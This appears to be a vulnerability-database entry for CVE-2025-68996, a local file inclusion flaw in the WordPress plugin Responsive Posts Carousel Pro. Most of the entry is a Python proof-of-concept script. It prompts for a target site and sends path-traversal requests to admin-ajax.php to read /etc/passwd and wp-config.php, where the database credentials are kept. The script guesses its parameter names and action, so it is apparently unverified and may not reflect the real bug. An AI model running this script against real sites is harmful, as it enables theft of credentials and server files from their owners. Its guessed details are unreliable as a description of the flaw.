CVE-2025-68996

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in WebCodingPlace Responsive Posts Carousel Pro responsive-posts-carousel-pro allows PHP Local File Inclusion.This issue affects Responsive Posts Carousel Pro: from n/a through <= 15.1.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Responsive Posts Carousel Pro <= 15.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-68996 PoC - Responsive Posts Carousel Pro LFI
# Target: WordPress site with Responsive Posts Carousel Pro plugin <= 15.1

import requests
import sys

target = input("Enter target URL: ").rstrip('/')

# Common WordPress config file paths
file_paths = [
    '../../../../../../../etc/passwd',
    '../../../../../../../wp-config.php',
    '../../../../../../../var/www/html/wp-config.php',
    '../../../wp-config.php',
    '../../wp-config.php',
    '../wp-config.php'
]

# Try to identify the vulnerable parameter
params_to_try = ['load_file', 'file', 'template', 'page', 'view']

for param in params_to_try:
    for path in file_paths:
        url = f"{target}/wp-admin/admin-ajax.php"
        data = {
            'action': 'rpc_ajax',
            param: path
        }
        
        try:
            response = requests.post(url, data=data, timeout=10)
            if 'root:' in response.text or '<?php' in response.text:
                print(f"[+] Potential LFI found!")
                print(f"[+] Parameter: {param}")
                print(f"[+] Path: {path}")
                print(f"[+] Response length: {len(response.text)}")
                print("=" * 50)
        except requests.exceptions.RequestException as e:
            print(f"[-] Error: {e}")

print("\n[*] PoC completed. Check results above.")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-68996
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-68996
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-68996/
[4] VulDB https://vuldb.com/cve/CVE-2025-68996
[5] https://patchstack.com/database/Wordpress/Plugin/responsive-posts-carousel-pro/vulnerability/wordpress-responsive-posts-carousel-pro-plugin-15-1-local-file-inclusion-vulnerability?_s_id=cve

Raw JSON Data

JSON

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